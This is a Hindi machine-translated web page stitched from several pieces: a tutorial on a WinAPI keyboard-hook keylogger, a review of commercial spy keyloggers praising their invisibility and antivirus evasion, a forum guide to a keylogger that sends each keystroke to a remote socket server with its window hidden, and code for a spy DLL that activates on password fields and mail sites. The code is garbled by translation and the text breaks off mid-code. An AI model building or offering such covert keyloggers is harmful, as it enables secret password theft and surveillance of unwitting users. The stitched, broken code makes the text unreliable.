सी पी पर जासूस लिखें. सूचना सुरक्षा प्रयोगशाला

नमस्कार, खाबरोवस्क निवासियों।

मैंने WinAPI का उपयोग करके C++ में एक सॉफ़्टवेयर कीबोर्ड लॉगर लिखने का निर्णय लिया। मैं यह नहीं कह सकता कि जब मैंने इसे लिखा था तो मैं किसी प्रकार के जासूसी लक्ष्य का पीछा कर रहा था; बल्कि, मैं WinAPI हुक से परिचित हो रहा था। चूँकि यह इतना बुरा नहीं निकला, और सॉफ्टवेयर लॉगर्स के बारे में हैबे पर कोई लेख नहीं है, इसलिए मैंने अपना खुद का लिखने का फैसला किया।

यह कैसे किया जाता है?

की-प्रेस को पकड़ने के लिए एक कीबोर्ड हुक का उपयोग किया गया था।

HHOOK WinAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

सभी कीबोर्ड कीस्ट्रोक्स को इंटरसेप्ट करने के लिए, WH_KEYBOARD या WH_KEYBOARD_LL को idHook पैरामीटर के रूप में निर्दिष्ट करना सुविधाजनक है। एकमात्र अंतर यह है कि WH_KEYBOARD_LL सिस्टम कुंजी प्रेस (यानी Alt या Alt दबाए रखने पर कोई कुंजी) को भी इंटरसेप्ट करता है, इसलिए हम इसे चुनेंगे।

एलपीएफएन एक फ़ंक्शन का सूचक है जो इंटरसेप्ट किए गए संदेशों (हमारे मामले में, कीस्ट्रोक्स) को संसाधित करता है।
hMod एक एप्लिकेशन इंस्टेंस हैंडल है जिसमें प्रोसेसिंग फ़ंक्शन होता है।
dwThreadId उस थ्रेड का पहचानकर्ता है जिसके संदेशों को हम इंटरसेप्ट करना चाहते हैं। सभी थ्रेड्स से संदेशों को इंटरसेप्ट करने के लिए इस पैरामीटर को 0 पर सेट किया जाना चाहिए।

रिटर्न वैल्यू हमारे हुक के लिए एक हैंडल है, जिसे बाहर निकलने पर UnhookWindowsHookEx फ़ंक्शन से मुक्त करने की आवश्यकता होगी।
मदद के लिए एमएसडीएन को देखते हुए, हम एक फ़ंक्शन का प्रोटोटाइप देखते हैं जो इस हुक से संदेशों को संसाधित करता है।

एलपरिणाम कॉलबैक लोलेवलकीबोर्डप्रोक(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode HC_ACTION के बराबर होना चाहिए, अन्यथा संदेश किसी अन्य प्रक्रिया को दिया जाता है।
wParam निम्नलिखित मानों में से एक है: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, या WM_SYSKEYUP।
lParam KBDLLHOOKSTRUCT संरचना के लिए एक सूचक है, जिसके क्षेत्र में हम केवल 2 मापदंडों में रुचि रखते हैं: vkCode (वर्चुअल कोड) और दबाए गए कुंजी का स्कैनकोड।
इस फ़ंक्शन को CallNextHookEx फ़ंक्शन का मान वापस करना होगा, अन्यथा ईवेंट को संसाधित करने वाले अगले हुक को गलत संदेश पैरामीटर प्राप्त हो सकते हैं।
हर बार जब कोई कुंजी दबाई जाती है, तो हमारा प्रोग्राम इस घटना को रोक देगा और इसे हमारी लोलेवलकीबोर्डप्रोक प्रक्रिया के साथ संसाधित करेगा।

किसी कुंजी के वर्चुअल और स्कैन कोड को प्रतीकात्मक रूप में पुनः अनुवाद करने के लिए, हमें ToAsciiEx फ़ंक्शन की आवश्यकता होती है।

Int WinAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

पहले 2 पैरामीटर क्रमशः कुंजी के वर्चुअल और स्कैन कोड हैं।
lpKeyState - कीबोर्ड स्थिति, जाँचता है कि कौन सी कुंजियाँ दबाई गई/सक्रिय हैं।
lpChar एक दोहरे शब्द का सूचक है जिसमें फ़ंक्शन कुंजी का प्रतीकात्मक प्रतिनिधित्व लिखेगा।
यूफ्लैग्स मेनू गतिविधि को दर्शाने वाला एक पैरामीटर है।
dwhkl - कीबोर्ड लेआउट पहचानकर्ता।
वापसी मान lpChar बफ़र पर लिखे गए वर्णों की संख्या है। हम उस मामले में रुचि रखते हैं जब 1 अक्षर लिखा जाता है।
मूल रूप से, ये सबसे सरल कीबोर्ड लॉगर के लिए आवश्यक 3 मुख्य कार्य हैं।

कार्यक्रम के बारे में थोड़ा

प्रोग्राम बिना आरटीएल के संकलित होता है विजुअल स्टूडियो 2013. इस प्रकार, हमें निष्पादन योग्य फ़ाइल का एक छोटा आकार और डिबग संस्करण में निर्माण की असंभवता मिलती है। डेटा उसी निर्देशिका में लॉग फ़ाइल में लिखा जाता है जहां .exe फ़ाइल स्थित है। सुविधा के लिए, लकड़हारा हर बार बनाता है नई फ़ाइलरिकॉर्डिंग करते समय, कुंजी दबाने का समय, उस विंडो का नाम रिकॉर्ड करता है जिसमें अक्षर दर्ज किए गए थे और LSHIFT+RSHIFT दबाने पर रुक जाता है। यह स्निफ़र पूर्ण कीबोर्ड के लिए अनुकूलित नहीं है; कुछ सेवा कुंजियाँ, जैसे F13 या NUM_LOCK, को इस प्रकार लिखा जा सकता है। मुझे लगता है कि जो लोग C/C++ से थोड़ा भी परिचित हैं वे इन्हें आसानी से जोड़ सकते हैं। इसके अलावा, आप अपने अनुरूप कोड को पूरी तरह से बदल सकते हैं।

विभिन्न जासूसी कार्यक्रम उन स्थितियों में आवश्यक होते हैं जहां कई लोगों की एक कंप्यूटर तक पहुंच होती है।

इन स्थितियों में, उपयोगकर्ता यह जानना चाह सकता है कि उसके कंप्यूटर से कौन सी साइटें देखी गईं (उदाहरण के लिए, बच्चों द्वारा), क्या चोरी हुई है क्रेडिट कार्डइन मुद्दों को स्पष्ट करने के लिए आपको सहेजे गए पासवर्ड आदि का उपयोग करना होगा।

हमारी समीक्षा आपको सर्वोत्तम विकल्प चुनने की अनुमति देगी।

पसंद की विशेषताएं

कीलॉगर वास्तव में क्या है? यह एक ऐसा प्रोग्राम है जिसका, स्पष्ट रूप से, सीधे तौर पर कीबोर्ड से कोई संबंध नहीं है।

यह कंप्यूटर की मेमोरी में स्थापित होता है और कार्य करता है। अक्सर, इसकी गतिविधि के संकेत कंप्यूटर पर तब तक दिखाई नहीं देते जब तक आप उन्हें विशेष रूप से नहीं खोजते।

ऐसा प्रोग्राम अप्रत्यक्ष रूप से कीबोर्ड के साथ इंटरैक्ट करता है, यानी यह पीसी पर एक प्रोग्राम के साथ काम करता है जो प्रिंटिंग करते समय बटन दबाने के परिणामस्वरूप प्रोसेसर द्वारा प्राप्त सिग्नल को टेक्स्ट में परिवर्तित करता है।

अर्थात्, ऐसे सॉफ़्टवेयर की क्रिया का उद्देश्य कीबोर्ड के माध्यम से दर्ज की गई जानकारी एकत्र करना है।

ऐसी उपयोगिताएँ हैं अलग - अलग प्रकार- कुछ की मदद से आप कीबोर्ड से टाइप किए गए सभी टेक्स्ट देख सकते हैं, दूसरों की मदद से - केवल वही जो ब्राउज़र में या किसी चयनित एप्लिकेशन में टाइप किया गया था।

कुछ प्रोग्राम ऐसे संकेतकों को कॉन्फ़िगर करने की क्षमता प्रदान करते हैं, अन्य नहीं।

वे गोपनीयता की डिग्री में भी एक दूसरे से भिन्न हैं। उदाहरण के लिए, कुछ की गतिविधि स्पष्ट है, डेस्कटॉप पर एक शॉर्टकट बना रहता है, इत्यादि कार्यक्रम, उदाहरण के लिए, बच्चों की गतिविधियों की निगरानी के लिए उपयुक्त हैं।

दूसरों की उपस्थिति और गतिविधि के निशान बिल्कुल भी ध्यान देने योग्य नहीं हैं - वे छिपे हुए कार्य करते हैं और किसी और के कंप्यूटर पर इंस्टॉलेशन के लिए उपयुक्त होते हैं, जब इंस्टॉलेशन के तथ्य को तीसरे पक्ष के उपयोगकर्ता से छिपाने की आवश्यकता होती है।

ऐसी विविधता को देखते हुए, सबसे उपयुक्त सॉफ़्टवेयर चुनना काफी कठिन हो सकता है।

यह सामग्री उन सर्वोत्तम कार्यक्रमों में से शीर्ष प्रस्तुत करती है जिनका उपयोग इस उद्देश्य के लिए किया जा सकता है। उनमें से सही को चुनना आसान है।

विशेष विवरण

चयन प्रक्रिया को सरल बनाना सॉफ़्टवेयरनीचे दी गई तालिका TOP में शामिल सभी कार्यक्रमों की मुख्य तुलनात्मक विशेषताओं को दर्शाती है।

नामलाइसेंस के प्रकारएकत्रित की गई जानकारी का प्रकारकार्यात्मकडिज़ाइन
एससी-कीलॉगमुक्त करने के लिएसभीचौड़ासरलीकृत
वाइडस्टेप हैंडी कीलॉगरनिःशुल्क/भुगतान किया गयासभीचौड़ाउन्नत
वास्तविक जासूसचुकाया गयासभीबहुत विस्तृतमानक
एलीटकीलॉगरचुकाया गयासभीचौड़ामानक
चूहा!निःशुल्क/भुगतान किया गयापहले से कमकाफ़ी विस्तृतअसुन्दर
स्पाईगोमुक्त करने के लिएसंस्करण पर निर्भर करता हैसंस्करण पर निर्भर करता हैमानक विंडोज़ उपस्थिति
अर्दामैक्स कीलॉगर 2.9मुक्त करने के लिएकीबोर्ड सेसंकुचितसरलीकृत
एनएस कीलॉगर पर्सनल मॉनिटर 3.8मुक्त करने के लिएसभीसंकुचितसरलीकृत
केजीबी जासूसचुकाया गयाकीबोर्ड से + प्रोग्राम खोलेंसँकरासरल
गोल्डन कीलॉगर 1.32मुक्त करने के लिएकीबोर्ड सेबहुत छोटासरल

इस तालिका की विशेषताओं के आधार पर, उस प्रोग्राम को चुनना आसान है जो आपकी विशिष्ट आवश्यकताओं के लिए सबसे उपयुक्त है।

इन उपयोगिताओं का नीचे अधिक विस्तार से वर्णन किया गया है।

एससी-कीलॉग

यह एक विशाल और कार्यात्मक जासूसी कार्यक्रम है जो निःशुल्क वितरित किया जाता है।

कीबोर्ड से दर्ज की गई जानकारी को विशेष रूप से ट्रैक करने के अलावा, यह विज़िट की गई साइटों के पते, पासवर्ड और खुली ब्राउज़र विंडो एकत्र करने में भी सक्षम है।

कंप्यूटर पर की जाने वाली सभी क्रियाओं के बारे में पूरी जानकारी प्रदान करता है। इस स्थिति में, जेनरेट की गई फ़ाइल को किसी अन्य डिवाइस से दूरस्थ रूप से देखा जा सकता है।

  • अवसर दूरदराज का उपयोगकिसी अन्य डिवाइस से फ़ाइल में;
  • सही सेटिंग्स वाले कंप्यूटर पर प्रोग्राम गतिविधि का कोई निशान नहीं;
  • एकत्रित डेटा की विविधता - पीसी पर लगभग सभी गतिविधियों के बारे में जानकारी प्राप्त की जा सकती है।
  • केवल NT0 तक पासवर्ड सहेजता है;
  • बहुत सरल मेनू और असुन्दर डिज़ाइन;
  • परिणाम प्रदर्शित करने के लिए एक असुविधाजनक प्रारूप।

जो उपयोगकर्ता सक्रिय रूप से इस सॉफ़्टवेयर का उपयोग करते हैं वे क्या कहते हैं? "उपयोगकर्ता के लिए बिल्कुल अदृश्य", "डेटा ईमेल द्वारा नियमित रूप से आता है।"

वाइडस्टेप हैंडी कीलॉगर

यह एप्लिकेशन नि:शुल्क वितरित किया जाता है। पूर्ण भुगतान वाले संस्करण की कीमत $35 है।

यह काफी दिलचस्प और कार्यात्मक कार्यक्रम है जो पैसे के लायक है यदि आप इसके लिए भुगतान करने को तैयार हैं।

विशेष फ़ीचर- एक निर्दिष्ट आवृत्ति पर रिकॉर्ड किए गए डेटा को भेजने की क्षमता। अन्यथा यह ठीक काम करता है, अक्सर इस सूची के अन्य कार्यक्रमों की तुलना में अधिक स्थिर होता है।

  • विभिन्न प्रकार की सूचनाओं का संग्रह;
  • उपयोगकर्ता के कंप्यूटर पर कार्य की पूर्ण अदृश्यता;
  • सरल इंटरफ़ेस और नियंत्रण।
  • डिज़ाइन पिछले प्रोग्राम से बेहतर है, लेकिन फिर भी बढ़िया नहीं है;
  • परिणाम प्रदर्शन प्रारूप असुविधाजनक है;
  • सशुल्क संस्करण काफी महंगा है.

इस सॉफ़्टवेयर के बारे में उपयोगकर्ताओं की राय इस प्रकार है: “सुविधाजनक, सरल और कार्यात्मक कार्यक्रम। काम करते समय बिल्कुल अदृश्य।"

वास्तविक जासूस

यह एक कार्यात्मक और जटिल भुगतान कार्यक्रम है जिसकी लागत 600 रूबल है। हालाँकि, इसका एक डेमो संस्करण है जो मुफ़्त है।

इस सॉफ्टवेयर की विशेषता- एक निश्चित समयावधि में क्षमता।

यह ग्राफिक पासवर्ड/कुंजी दर्ज करने की समस्या को हल करने में मदद करता है, जो हाल ही में व्यापक हो गई है।

  • कई प्रकार की जानकारी एकत्र की गई और साथ ही एक निर्दिष्ट अवधि के दौरान स्क्रीन से स्क्रीनशॉट लेने की क्षमता;
  • अन्य लोगों की एक बड़ी संख्या अतिरिक्त प्रकार्यऔर विशेषताएं;
  • न केवल कार्यों को रिकॉर्ड करता है, बल्कि उनके निष्पादित होने का समय भी रिकॉर्ड करता है;
  • जेनरेट किए गए लॉग को एन्क्रिप्ट करता है।
  • निःशुल्क डेमो संस्करण में कार्य की अवधि (सूचना संग्रह) 40 मिनट है;
  • भुगतान किया गया वितरण, हालांकि कमोबेश उचित मूल्य;
  • कार्यक्रम का वजन काफी बड़ा है.

के बारे में उपयोगकर्ता समीक्षाएँ यह अनुप्रयोगहैं: “कार्यक्रम उत्कृष्ट है। शाबाश प्रोग्रामर!”

एलीटकीलॉगर

काफी ऊंची कीमत पर भुगतान कार्यक्रम- 69 डॉलर. यह निम्न-स्तरीय मोड में पीसी पर पूरी तरह से अज्ञात रूप से काम करता है, जिससे यह लगभग पूरी तरह से अज्ञात हो जाता है।

दिलचस्प और सुविधाजनक सुविधा- सॉफ़्टवेयर का स्वचालित लॉन्च, सिस्टम के लॉन्च के साथ-साथ होता है।

विशेष एंटी-कीलॉगर्स द्वारा भी इसका पता लगाना या बिल्कुल भी पता नहीं लगाना मुश्किल है।

  • पूरी तरह से छिपी हुई कार्रवाई और पता लगाना मुश्किल;
  • सिस्टम बूट होने पर निम्न-स्तरीय ड्राइवर-प्रकार ऑपरेटिंग प्रारूप और स्वचालित स्टार्टअप;
  • यह न केवल मुख्य, बल्कि कीबोर्ड पर सेवा कुंजियों के प्रेस को भी ट्रैक करता है।
  • पर्याप्त एक जटिल प्रणालीपीसी पर प्रोग्राम स्थापित करना;
  • कार्यक्रम महंगा है, लेकिन आप रूसी इंटरनेट पर पुराना हैक किया गया संस्करण पा सकते हैं;
  • व्यक्तिगत प्रोग्राम सेटिंग्स की एक जटिल प्रणाली, जो, हालांकि, खुद को उचित ठहराती है।

उपयोगकर्ता इस सॉफ़्टवेयर के बारे में क्या कहते हैं? " अच्छा कार्यक्रम", "जेटलॉगर से थोड़ा कम।"

चूहा!

सशुल्क लाइसेंस के साथ काफी सामान्य और लोकप्रिय, कार्यात्मक उपयोगिता।

हालाँकि, निजी उपयोग के लिए, सीमित अवधि के लिए एक निःशुल्क डेमो संस्करण प्रदान किया जाता है।

कार्यक्रम बहुत सरल है- कोई भी उन्नत उपयोगकर्ता इसे लिख सकता है। हालाँकि, यह एंटीवायरस द्वारा पूरी तरह से पता नहीं चल पाता है विशेष कार्यक्रम, ऐसे सॉफ़्टवेयर का पता लगाना।

  • सादगी, कार्यक्षमता और उच्च स्थिरता;
  • कंप्यूटर पर न्यूनतम फ़ाइल भार और उसके द्वारा लिया गया स्थान;
  • काफी सारी सेटिंग्स.
  • काले, सफ़ेद और लाल रंग में बना एक अप्रिय डिज़ाइन;
  • कार्यक्षमता पहले वर्णित कार्यक्रमों की तुलना में कुछ हद तक संकीर्ण है;
  • लॉग को देखने में असुविधा और आम तौर पर इंटरफ़ेस और उपयोग में असुविधा।

उपयोगकर्ता इस प्रोग्राम के बारे में निम्नलिखित कहते हैं: "यह स्थिर रूप से काम करता है, लेकिन थोड़ा सरल है," "प्रोग्राम अच्छा है, यह आपको बिना ध्यान दिए डेटा एकत्र करने की अनुमति देता है।"

स्पाईगो

यह एक मौलिक रूप से नया कीलॉगर है, जिसे एक रूसी प्रोग्रामर द्वारा काम करने के लिए डिज़ाइन और विकसित किया गया है।


और इससे पहले कि आप पढ़ना शुरू करें, मेरे ब्लॉग पर एक नज़र डालें, जहां मैं प्रोग्रामिंग, वायरोलॉजी और अन्य दिलचस्प चीजों पर अपने मूल लेख प्रकाशित करता हूं
मूल लेख -

सभी जानकारी केवल सूचनात्मक उद्देश्यों के लिए प्रदान की गई है। इस लेख की सामग्री से होने वाले किसी भी संभावित नुकसान के लिए न तो प्रशासन और न ही लेखक जिम्मेदार हैं।


प्रस्तावना
लगभग एक महीने तक, मैंने लगातार कीलॉगर्स के बारे में विभिन्न अनुरोधों और प्रश्नों का अवलोकन किया। बहुतों ने खोजा, लेकिन स्रोत कोड नहीं मिला, बहुतों ने खोजा, लेकिन बिक्री करने वालों को वह नहीं मिला, आदि।

इस लेख में मैं यह दिखाना चाहता हूं कि बुनियादी कार्यक्षमता के साथ अपना स्वयं का कीलॉगर लिखना कितना आसान है। मैंने यहां से आधार उधार लिया - * * , बग्स को ठीक किया और WinSocket के साथ इंटरैक्ट करने के लिए इसे संशोधित किया।

सामग्री
  • विजुअल स्टूडियो 2015 कम्युनिटी अपडेट 4
  • विजुअल सी++ 2015
अनुप्रयोग संरचना
सबसे पहले, आपको यह निर्धारित करने की आवश्यकता है कि कीलॉगर सामान्य रूप से कैसे काम करेगा। चाहे वह एफ़टीपी/मेल पर लॉग भेजना हो, सॉकेट पर क्लिक रिकॉर्ड करना हो, गेट पर फ़ाइल भेजना हो, डेटाबेस पर लॉग लिखना हो।
मैंने सॉकेट के साथ बने रहने का निर्णय लिया। क्यों? यह सुविधाजनक, सरल और उपयोगी है.
पसंद के आधार पर, हमें 2 एप्लिकेशन बनाने होंगे:

सर्वर
  • कंसोल एप्लिकेशन जो क्लाइंट से डेटा प्राप्त करेगा और इसे कंसोल में आउटपुट करेगा
ग्राहक
  • दरअसल, कीलॉगर ही, जो कीस्ट्रोक्स को सर्वर पर भेजेगा
और हम, शायद, सर्वर से शुरुआत करेंगे।

सर्वर
विजुअल स्टूडियो में C++ कंसोल एप्लिकेशन बनाएं।
सारा कोड कार्यालय में है. एमएसडीएन उदाहरण - *लिंक देखने के लिए फ़ोरम में लॉग इन करें। *
हमें बस इसमें कुछ मान बदलने की जरूरत है...
आइए तुरंत स्थिर चर लिखें: बफ़र आकार और सर्वर पोर्ट जिस पर लॉग भेजे जाएंगे

कोड:

#DEFAULT_BUFLEN 1024 को परिभाषित करें //बफ़र #DEFAULT_PORT "1337" को परिभाषित करें //पोर्ट

एक बार करने/जबकि करने के बजाय, हम एक अंतहीन लूप सेट करते हैं जिसमें हम क्लाइंट से डेटा प्राप्त करेंगे, इसे कंसोल पर आउटपुट करेंगे, कनेक्शन बंद करेंगे, और इसे फिर से करेंगे:

कोड:

करें (ClientSocket = स्वीकार करें(ListenSocket, NULL, NULL); // कनेक्शन स्वीकार करें iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); // लॉग पढ़ें यदि (iResult > 0) // यदि लॉग खाली नहीं है प्रिंटफ ("% s", recvbuf); //आउटपुट क्लोजसॉकेट (क्लाइंटसॉकेट); // कनेक्शन बंद करें मेमसेट (recvbuf, 0, sizeof recvbuf); // मेमोरी जारी करें) जबकि (सही);

हम रिलीज के लिए संकलित करते हैं, इसे डेडिक पर अपलोड करते हैं, हमें जिस पोर्ट की आवश्यकता होती है उसे खोलते हैं और लॉन्च करते हैं

ग्राहक


विजुअल स्टूडियो में Win32 एप्लिकेशन बनाएं।
जैसा कि मैंने ऊपर कहा, मैंने कीबोर्ड हुक और क्लिक हैंडलर लिया *लिंक देखने के लिए फ़ोरम में लॉग इन करें। *
सॉकेट पर क्लिक भेजने को सुरक्षित करने के लिए, मैंने इसकी ओर रुख किया *लिंक देखने के लिए फ़ोरम में लॉग इन करें। *
इसके अलावा, हम तुरंत स्थिर चर को परिभाषित करते हैं: बफर लंबाई, डेडिक/कंप्यूटर आईपी और पोर्ट

कोड:

#DEFAULT_BUFLEN 20000 को परिभाषित करें #SERVER_IP "127.0.0.1" को परिभाषित करें #SERVER_PORT "1337" को परिभाषित करें

कोड को सही ढंग से काम करना शुरू करने के लिए कुछ चर को उनके तरीकों से बाहर निकालना पड़ा और वैश्विक बनाना पड़ा:

कोड:

WSADATA wsaData; सॉकेट कनेक्टसॉकेट = INVALID_SOCKET; HHOOK _हुक;KBDLLHOOKSTRUCT kbdStruct; चार लास्टविंडो; int Save(int key_stroke);// दूसरा तर्क हटा दिया गया

हम पैराग्राफ की शुरुआत में दिए गए उदाहरण का अनुसरण करते हुए सर्वर पर डेटा भेजने की एक विधि बनाते हैं। इसके बाद, हर जगह हम पोर्ट, आईपी और प्रेषित जानकारी को फ़ंक्शन तर्कों से बदल देते हैं:

कोड:

शून्य सेंडडेटा (चार *आईपी, चार * पोर्ट, चार*डेटा)

सेव विधि में, हम निम्नलिखित कार्य करते हैं - हम दूसरा तर्क हटाते हैं और सर्वर पर भेजने के लिए लॉग की रिकॉर्डिंग को एक फ़ाइल में बदलते हैं:

कोड:

चार डेटा; स्प्रिंटफ़(डेटा, "\n\n\n", window_title, s); सेंडडेटा(SERVER_IP, SERVER_PORT, डेटा);

आगे, उसी सिद्धांत का उपयोग करते हुए, हम सेवा कीस्ट्रोक्स भेजने को बदलते हैं। आप इस प्रकार पत्र भेज सकते हैं:

कोड:

चार सी; स्प्रिंटफ़(सी, "%c", key_stroke); सेंडडेटा(SERVER_IP, SERVER_PORT, c);

हमने कोड से विंडो की दृश्यता से संबंधित हर चीज़ को काट दिया, और हमारा काम हो गया।

जमीनी स्तर
जब कीलॉगर लॉन्च किया जाता है, तो यह प्रक्रियाओं में रुक जाएगा और प्रत्येक कीस्ट्रोक को प्रोसेस करेगा। यह संभव है कि कुछ अक्षर गलत तरीके से प्रदर्शित किए जाएंगे, उदाहरण के लिए, स्लैश, लेकिन यह सब स्वयं ठीक किया जा सकता है (आखिरकार, यदि सब कुछ सही होता, तो यीशु मेरे पीएम पर दस्तक देते और मुझसे निजी कीलॉगर के सेल्समैन की जांच करने के लिए कहते)।

कीलॉगर्स लिखने के बारे में
पहले भी कई बार कहा जा चुका है, लेकिन सभी
एक बड़ी खामी है - एक नियम के रूप में,
बहुत सीमित ज्ञान की आवश्यकता है
जानकारी, सब कुछ लॉग फ़ाइल में लिखने के बजाय,
उपयोगकर्ता कीबोर्ड पर जो लिखता है वह आपके लिए संभव नहीं है
विचार लॉग के लिए बहुत सारा भोजन देगा
सीएस खेलते समय बटन दबाना 😉

इससे यह पता चलता है कि जासूस अवश्य होगा
उन्नत, और मूर्खतापूर्ण ढंग से वह सब कुछ न लिखें
वे उसे देते हैं :) ऐसे कार्यक्रम का नाम भी बताएं
एक जासूस अपनी जीभ नहीं घुमाता - यह लगभग है
इलेक्ट्रॉनिक एजेंट 007:-))) तरीके
ताकि प्रोग्राम रुचि के लॉग में लिख सके
हमारे पास बहुत सारी सामग्री है. सबसे सरल -
सक्रिय विंडोज़ को नियंत्रित करें, अर्थात जिसमें
इस समय बटन बंद हो रहे हैं :) आप कैसे हैं,
मुझे लगता है, आप जानते हैं, जासूस आमतौर पर शामिल होते हैं
निष्पादन योग्य फ़ाइल और DLL। यह इस तथ्य के कारण है
विंडो पर संदेशों को कैसे रोकें?
आपको एक नई प्रक्रिया, और बहुत कुछ बनाने की आवश्यकता है
ऐसा करने का एक सुविधाजनक तरीका dll का उपयोग करना है।
इसलिए, सक्रिय करने के लिए
वास्तव में लकड़हारा ही, आपको सही में इसकी आवश्यकता होगी
DLL लोड करने का क्षण, और जब विंडो सक्रिय हो
किसी और चीज़ में परिवर्तन - इसे मेमोरी से अनलोड करें।

आइए विज़ुअल भाषा में डीएलएल के साथ काम करने के कार्यों को देखें
सी++. डीएलएल को मेमोरी में लोड किया जा रहा है
फ़ंक्शन hINSTAGE=LoadLibrary("name.dll"), जहां hINSTAGE -
मेमोरी में लोड किए गए DLL के डिस्क्रिप्टर की तरह,
name.dll - लाइब्रेरी का नाम। इसे उतारने के लिए,
एक फ़ंक्शन है FreeLibrary(hINSTAGE);

अब हम अपनी जरूरत की चीजें कैसे प्राप्त कर सकते हैं इसके बारे में
अनुप्रयोग। उदाहरण के लिए, हम जानते हैं कि उपयोगकर्ता
वेबसाइट www.mail.ru के माध्यम से मेल पढ़ता है, तो आप कर सकते हैं
एजेंट को कॉन्फ़िगर करें ताकि वह इंटरसेप्ट कर सके
जब उपयोगकर्ता इस पर जाता है तो कीस्ट्रोक्स करता है
वेबसाइट। (यह याद रखना चाहिए कि कुछ में
कोई भी कीबोर्ड जासूस ऐप्स नहीं हैं
उदाहरण के लिए, एड्रेस बार में काम कर सकता है
इंटरनेट एक्सप्लोरर"ए - यह "क्रैश" की ओर ले जाता है
कार्यक्रमों का समापन" - आप और कहां से हैं
विंडोज़ चाहता था :))) इस विधि के लिए यह काफी है
डायलर से पासवर्ड पढ़ना भी उपयुक्त है
- यदि उपयोगकर्ता व्यामोह से पीड़ित है और हर समय
लॉगिन दर्ज करें और मैन्युअल रूप से पास करें :) या आप वास्तव में करते हैं
यह जानना दिलचस्प है कि वह आउटलुक में क्या लिखते हैं
एक नोटपैड में. यहां कोड का वह भाग है जो करता है
विंडो शीर्षकों की उन शीर्षकों से तुलना करें जिनकी हमें आवश्यकता है।

हिनस्टेज हिनस्टेज;

जबकि (1)
{
// लूप प्रारंभ करें.

int sl,ll;
ll=1;
sl=2;
// के लिए चर
विरोध करना
एक।
चार सेंट;
HWND कैसे;
// आइए सबसे सरल के साथ चलते हैं
द्वारा - वर्ण दर वर्ण स्ट्रिंग की तुलना करना:
परिणामी विंडो शीर्षक और जिसकी हमें आवश्यकता है उसके साथ
रेखा।

जबकि (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // पढ़ना

char stt='_यहाँ हम वांछित का शीर्षक लिखते हैं
हमारे लिए विंडोज़_№1";

sl=strlen(stt);
ll=0;
जबकि (stt==st)
//तुलना करना
चरित्र द्वारा पंक्ति
// जिस स्थिति में होगा, वहां से ऐसा करना अधिक सुविधाजनक है
जाँचें कि क्या आवश्यक चीज़ फिट बैठती है
//हम स्ट्रिंग का उपयोग किसी अन्य स्ट्रिंग के भाग के रूप में कर सकते हैं, आप कर सकते हैं
//एक विस्तृत फ़िल्टर जैसा कुछ बनाएं।

{
ll++;
}

यदि (ll==sl) ( //यदि स्ट्रिंग्स
पहली पंक्ति के अंत तक मिलान करें -

रुकना; // प्रक्रिया को बाधित करें
}
// और इसी तरह - यदि
आपको एकाधिक विंडोज़ की उपस्थिति की जाँच करने की आवश्यकता है।

char stt='_यहाँ हम वांछित का शीर्षक लिखते हैं
हमारे लिए विंडोज़_नंबर 2";
sl=strlen(stt);
ll=0;
जबकि (stt==st)
{
ll++;
}

यदि (ll==sl) (
रुकना; // प्रक्रिया को बाधित करें
}

अनुक्रमिक जाँच के बजाय, आप कर सकते हैं
तुलना करने पर समानांतर बनाएं
पंक्ति तत्वों का एक चक्र, यदि कम से कम एक
मिलान - तब DLL जासूस सक्रिय हो जाता है।

hINSTAGE=LoadLibrary('key1.dll');

अब हमें हर समय जांच करने की जरूरत है
क्या यह विंडो सक्रिय रहती है।

जबकि (ll==sl) //अलविदा
रेखाएँ मेल खाती हैं - हम जगह-जगह घूमते हैं

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// पढ़ना
वर्तमान में सक्रिय विंडो.

ll=0;
जबकि (stt==st)
{
ll++;
}
}

चक्र से बाहर निकलना सक्रिय होने का संकेत देता है
विंडो बदल गई है, इसलिए आगे हम "स्पाइवेयर" अनलोड करते हैं
पुस्तकालय और चक्र शुरुआत से शुरू होता है - अर्थात।
प्रोग्राम फिर से इनमें से किसी एक की प्रतीक्षा करता है
आवश्यक खिड़कियाँ.

फ्रीलाइब्रेरी(hINSTAGE);

हालाँकि, उपरोक्त विधि भी है
नुकसान- हर बार जांच करानी पड़ती है
विंडोज़ की पूरी सूची में से क्या वह विंडोज़ है जिसकी आपको आवश्यकता है?
हम इस समय सक्रिय हैं। इसीलिए
आप किसी भिन्न एल्गोरिथम का उपयोग कर सकते हैं - जाँच न करें
विंडो शीर्षक, और इसमें देखें
EditBox प्रकार के विंडो तत्व। एक नियम के रूप में,
पासवर्ड वहां लिखे गए हैं :) इसके लिए वहां होंगे
इस विंडो के तत्वों को देखें - और यदि
उनमें से एडिट है - फिर हम डीएलएल लोड करते हैं।

चार पी2,पी3; //सरणी
विंडो शीर्षकों के लिए वर्ण.

फिर से, हम सभी विंडो को एक लूप में जांचते हैं:

जबकि (p3!='संपादित करें') //अलविदा
हमें एडिटबॉक्स वाली कोई विंडो नहीं मिली - एक लूप चलाएँ

{

hw=GetForegroundWindow();

HWND hwnd_child; //चर
खिड़की तत्व

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
यदि (p3!='संपादित करें')
//यदि पहला है
विंडो तत्व मिले - एडिटबॉक्स नहीं - फिर
आगे देख रहे हैं

{
जबकि (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
यदि (p3=='संपादित करें')
{
रुकना;
}
}
}
}

अब जासूस डीएलएल के बारे में ही।
इसे डेल्फ़ी में लिखना बेहतर है, क्योंकि यह
पास्कल के परिपक्व वंशज के पास ऐसा नहीं है
विकृत "सिपिपिश" आदत
डेटा प्रकारों के बारे में चयन करना। उत्पन्न करना
लाइब्रेरी का चयन करें फ़ाइल-न्यू-डायरेक्ट लिंक लाइब्रेरी - और
DLL के लिए टेम्पलेट तैयार है. और यहाँ कोड स्वयं है:

पुस्तकालय कुंजी1;
विंडोज़ का उपयोग करता है;

वर
ख़ूक: हहुक; // के लिए चर
"जाल"

